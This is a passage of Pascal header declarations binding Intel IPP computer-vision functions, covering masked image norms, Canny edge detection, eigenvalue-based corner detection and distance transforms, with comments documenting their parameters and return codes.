roiSize Their size or ROI size
coi COI index (1..3) (if 3-channel images)
pNorm The pointer to calculated norm
Notes:
}
{ 8uC1 flavor }
function ippiNorm_Inf_8u_C1MR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_Inf_16u_C1MR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_Inf_32f_C1MR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_Inf_8u_C3CMR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_Inf_16u_C3CMR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_Inf_32f_C3CMR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_Inf_8u_C1MR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_Inf_16u_C1MR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_Inf_32f_C1MR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_Inf_8u_C3CMR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_Inf_16u_C3CMR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_Inf_32f_C3CMR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_Inf_8u_C1MR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_Inf_16u_C1MR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_Inf_32f_C1MR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_Inf_8u_C3CMR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_Inf_16u_C3CMR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_Inf_32f_C3CMR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L1_8u_C1MR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L1_16u_C1MR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L1_32f_C1MR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L1_8u_C3CMR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L1_16u_C3CMR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L1_32f_C3CMR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L1_8u_C1MR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L1_16u_C1MR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L1_32f_C1MR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L1_8u_C3CMR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L1_16u_C3CMR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L1_32f_C3CMR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L1_8u_C1MR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L1_16u_C1MR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L1_32f_C1MR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L1_8u_C3CMR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L1_16u_C3CMR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L1_32f_C3CMR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L2_8u_C1MR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L2_16u_C1MR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L2_32f_C1MR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L2_8u_C3CMR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L2_16u_C3CMR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNorm_L2_32f_C3CMR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L2_8u_C1MR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L2_16u_C1MR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L2_32f_C1MR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L2_8u_C3CMR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L2_16u_C3CMR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormDiff_L2_32f_C3CMR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L2_8u_C1MR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L2_16u_C1MR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L2_32f_C1MR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L2_8u_C3CMR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L2_16u_C3CMR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L2_32f_C3CMR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; roiSize : IppiSize ; coi : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Edge/Corner detection
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Name: ippiCannyGetSize
Purpose: Calculates size of temporary buffer, required to run Canny function.
Return:
ippStsNoErr Ok
ippStsNullPtrErr Pointer bufferSize is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
roiSize Size of image ROI in pixel
bufferSize Pointer to the variable that returns the size of the temporary buffer
}
function ippiCannyGetSize( roiSize : IppiSize ; bufferSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCanny_16s8u_C1IR, ippiCanny_32f8u_C1IR
Purpose: Creates binary image of source's image edges,
using derivatives of the first order.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
ippStsBadArgErr Bad thresholds
Parameters:
pSrcDx Pointers to the source image ( first derivatives with respect to X )
srcDxStep Step in bytes through the source image pSrcDx
pSrcDy Pointers to the source image ( first derivatives with respect to Y )
srcDyStep Step in bytes through the source image pSrcDy
roiSize Size of the source images ROI in pixels
lowThresh Low threshold for edges detection
highThresh Upper threshold for edges detection
pBuffer Pointer to the pre-allocated temporary buffer, which size can be
calculated using ippiCannyGetSize function
}
function ippiCanny_16s8u_C1R( pSrcDx : Ipp16sPtr ; srcDxStep : Int32 ; pSrcDy : Ipp16sPtr ; srcDyStep : Int32 ; pDstEdges : Ipp8uPtr ; dstEdgeStep : Int32 ; roiSize : IppiSize ; lowThresh : Ipp32f ; highThresh : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiCanny_32f8u_C1R( pSrcDx : Ipp32fPtr ; srcDxStep : Int32 ; pSrcDy : Ipp32fPtr ; srcDyStep : Int32 ; pDstEdges : Ipp8uPtr ; dstEdgeStep : Int32 ; roiSize : IppiSize ; lowThresh : Ipp32f ; highThresh : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiEigenValsVecsGetBufferSize_8u32f_C1R, ippiEigenValsVecsGetBufferSize_32f_C1R
Purpose: Calculates size of temporary buffer, required to run one of EigenValsVecs***
functions.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width is less or equal zero or bad window size
Parameters:
roiSize roiSize size in pixels
apertureSize Linear size of derivative filter aperture
avgWindow Linear size of averaging window
bufferSize Output parameter. Calculated buffer size.
}
function ippiEigenValsVecsGetBufferSize_8u32f_C1R( roiSize : IppiSize ; apertureSize : Int32 ; avgWindow : Int32 ; bufferSize : Int32Ptr ): IppStatus; _ippapi
function ippiEigenValsVecsGetBufferSize_32f_C1R( roiSize : IppiSize ; apertureSize : Int32 ; avgWindow : Int32 ; bufferSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiEigenValsVecs_8u32f_C1R, ippiEigenValsVecs_32f_C1R
Purpose: Calculate both eigen values and eigen vectors of 2x2 autocorrelation
gradient matrix for every pixel. Can be used for sophisticated
edge and corner detection
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
or bad window size
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc Source image
srcStep Its step in bytes
pEigenVV Image, which is 6 times wider that source image,
filled with 6-tuples:
(eig_val1, eig_val2, eig_vec1_x, eig_vec1_y,
eig_vec2_x, eig_vec2_y)
eigStep Output image step in bytes
roiSize ROI size in pixels
kernType Kernel type (Scharr 3x3 or Sobel 3x3, 5x5)
apertureSize Linear size of derivative filter aperture
avgWindow Linear size of averaging window
pBuffer Preallocated temporary buffer, which size can be calculated
using ippiEigenValsVecsGetSize function
}
function ippiEigenValsVecs_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pEigenVV : Ipp32fPtr ; eigStep : Int32 ; roiSize : IppiSize ; kernType : IppiKernelType ; apertureSize : Int32 ; avgWindow : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiEigenValsVecs_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pEigenVV : Ipp32fPtr ; eigStep : Int32 ; roiSize : IppiSize ; kernType : IppiKernelType ; apertureSize : Int32 ; avgWindow : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiEigenValsVecsBorder_8u32f_C1R, ippiEigenValsVecsBorder_32f_C1R
Purpose: Calculate both eigen values and eigen vectors of 2x2 autocorrelation
gradient matrix for every pixel. Can be used for sophisticated
edge and corner detection
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
or bad window size
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc Source image
srcStep Its step in bytes
pEigenVV Image, which is 6 times wider that source image,
filled with 6-tuples:
(eig_val1, eig_val2, eig_vec1_x, eig_vec1_y,
eig_vec2_x, eig_vec2_y)
eigStep Output image step in bytes
roiSize ROI size in pixels
kernType Kernel type (Scharr 3x3 or Sobel 3x3, 5x5)
apertureSize Linear size of derivative filter aperture
avgWindow Linear size of averaging window
border Type of the border
borderValue Constant value to assign to pixels of the constant border.
if border type equals ippBorderConstant
pBuffer Preallocated temporary buffer, which size can be calculated
using ippiEigenValsVecsGetSize function
}
function ippiEigenValsVecsBorder_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pEigenVV : Ipp32fPtr ; eigStep : Int32 ; roiSize : IppiSize ; kernType : IppiKernelType ; apertureSize : Int32 ; avgWindow : Int32 ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiEigenValsVecsBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pEigenVV : Ipp32fPtr ; eigStep : Int32 ; roiSize : IppiSize ; kernType : IppiKernelType ; apertureSize : Int32 ; avgWindow : Int32 ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMinEigenValGetBufferSize_8u32f_C1R, ippiMinEigenValGetBufferSize_32f_C1R
Purpose: Calculates size of temporary buffer, required to run one of MinEigenVal***
functions.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width is less or equal zero or bad window size
Parameters:
roiSize roiSize size in pixels
apertureSize Linear size of derivative filter aperture
avgWindow Linear size of averaging window
bufferSize Output parameter. Calculated buffer size.
}
function ippiMinEigenValGetBufferSize_8u32f_C1R( roiSize : IppiSize ; apertureSize : Int32 ; avgWindow : Int32 ; bufferSize : Int32Ptr ): IppStatus; _ippapi
function ippiMinEigenValGetBufferSize_32f_C1R( roiSize : IppiSize ; apertureSize : Int32 ; avgWindow : Int32 ; bufferSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMinEigenVal_8u32f_C1R, ippiMinEigenVal_32f_C1R
Purpose: Calculate minimal eigen value of 2x2 autocorrelation gradient matrix
for every pixel. Pixels with relatively large minimal eigen values
are strong corners on the picture.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
or bad window size
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc Source image
srcStep Its step in bytes
pMinEigenVal Image, filled with minimal eigen values for every pixel
minValStep Its step in bytes
roiSize ROI size in pixels
kernType Kernel type (Scharr 3x3 or Sobel 3x3, 5x5)
apertureSize Linear size of derivative filter aperture
avgWindow Linear size of averaging window
pBuffer Preallocated temporary buffer, which size can be calculated
using ippiMinEigenValGetSize function
}
function ippiMinEigenVal_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMinEigenVal : Ipp32fPtr ; minValStep : Int32 ; roiSize : IppiSize ; kernType : IppiKernelType ; apertureSize : Int32 ; avgWindow : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMinEigenVal_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMinEigenVal : Ipp32fPtr ; minValStep : Int32 ; roiSize : IppiSize ; kernType : IppiKernelType ; apertureSize : Int32 ; avgWindow : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMinEigenValBorder_8u32f_C1R
ippiMinEigenValBorder_32f_C1R
Purpose: Calculate minimal eigen value of 2x2 autocorrelation gradient matrix
for every pixel. Pixels with relatively large minimal eigen values
are strong corners on the picture.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
or bad window size
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc Source image
srcStep Its step in bytes
pMinEigenVal Image, filled with minimal eigen values for every pixel
minValStep Its step in bytes
roiSize ROI size in pixels
kernType Kernel type (Scharr 3x3 or Sobel 3x3, 5x5)
apertureSize Linear size of derivative filter aperture
avgWindow Linear size of averaging window
border Type of the border
borderValue Constant value to assign to pixels of the constant border. if border type equals ippBorderConstant
pBuffer Preallocated temporary buffer, which size can be calculated
using ippiMinEigenValGetSize function
}
function ippiMinEigenValBorder_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pEigenVV : Ipp32fPtr ; eigStep : Int32 ; roiSize : IppiSize ; kernType : IppiKernelType ; apertureSize : Int32 ; avgWndSize : Int32 ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMinEigenValBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pEigenVV : Ipp32fPtr ; eigStep : Int32 ; roiSize : IppiSize ; kernType : IppiKernelType ; apertureSize : Int32 ; avgWndSize : Int32 ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Distance Transform
----------------------------------------------------------------------------
Name: ippiTrueDistanceTransformGetBufferSize_8u32f_C1R
Purpose: Get size of external buffer.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr Indicates an error condition if roiSize has a field with zero
or negative value.
Parameters:
roiSize The image ROI size
pBufferSize The pointer to the buffer size
}
function ippiTrueDistanceTransformGetBufferSize_8u32f_C1R( roiSize : IppiSize ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDistanceTransform_3x3_8u32f_C1R, ippiDistanceTransform_5x5_8u32f_C1R,
ippiDistanceTransform_3x3_8u16u_C1R, ippiDistanceTransform_5x5_8u16u_C1R,
ippiDistanceTransform_3x3_8u_C1R, ippiDistanceTransform_5x5_8u_C1R,
ippiDistanceTransform_3x3_8u_C1IR, ippiDistanceTransform_5x5_8u_C1IR,
ippiTrueDistanceTransform_8u32f_C1R
Purpose: For every non-zero pixel in the source image, the functions calculate
distance between that pixel and nearest zero pixel.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
ippStsCoeffErr Zero mask coefficient
Parameters:
pSrc Source image
pSrcDst Pointer to the input and output image
srcStep Its step
pDst Output image with distances
dstStep Its step
roiSize ROI size
pMetrics Array that determines metrics used.
scaleFactor Scale factor
pBuffer The pointer to the working buffer
}
function ippiDistanceTransform_3x3_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMetrics : Ipp32fPtr ): IppStatus; _ippapi
function ippiDistanceTransform_5x5_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMetrics : Ipp32fPtr ): IppStatus; _ippapi
function ippiDistanceTransform_3x3_8u16u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMetrics : Ipp32sPtr ): IppStatus; _ippapi
function ippiDistanceTransform_5x5_8u16u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMetrics : Ipp32sPtr ): IppStatus; _ippapi
function ippiDistanceTransform_3x3_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMetrics : Ipp32sPtr ): IppStatus; _ippapi
function ippiDistanceTransform_5x5_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMetrics : Ipp32sPtr ): IppStatus; _ippapi
function ippiDistanceTransform_3x3_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pMetrics : Ipp32sPtr ): IppStatus; _ippapi
function ippiDistanceTransform_5x5_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pMetrics : Ipp32sPtr ): IppStatus; _ippapi
function ippiTrueDistanceTransform_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGetDistanceTransformMask_32f, ippiGetDistanceTransformMask_32s
ippiGetDistanceTransformMask (deprecated name of ippiGetDistanceTransformMask_32f)
Purpose: Calculates optimal mask for given type of metrics and given mask size
Return:
ippStsOk Succeed
ippStsNullPtrErr One of pointers is NULL
ippStsBadArgErr Bad kernel size or norm or maskType
Parameters:
kerSize Kernel size (3,5)
norm Norm type (L1,L2,Inf)
maskType Type of distance:
30 - 3x3 aperture for infinify norm,
31 - 3x3 aperture for L1 norm,
32 - 3x3 aperture for L2 norm,
50 - 5x5 aperture for infinify norm,
51 - 5x5 aperture for L1 norm,
52 - 5x5 aperture for L2 norm
pMetrics Pointer to resultant metrics
}
function ippiGetDistanceTransformMask_32f( kerSize : Int32 ; norm : IppiNorm ; pMetrics : Ipp32fPtr ): IppStatus; _ippapi
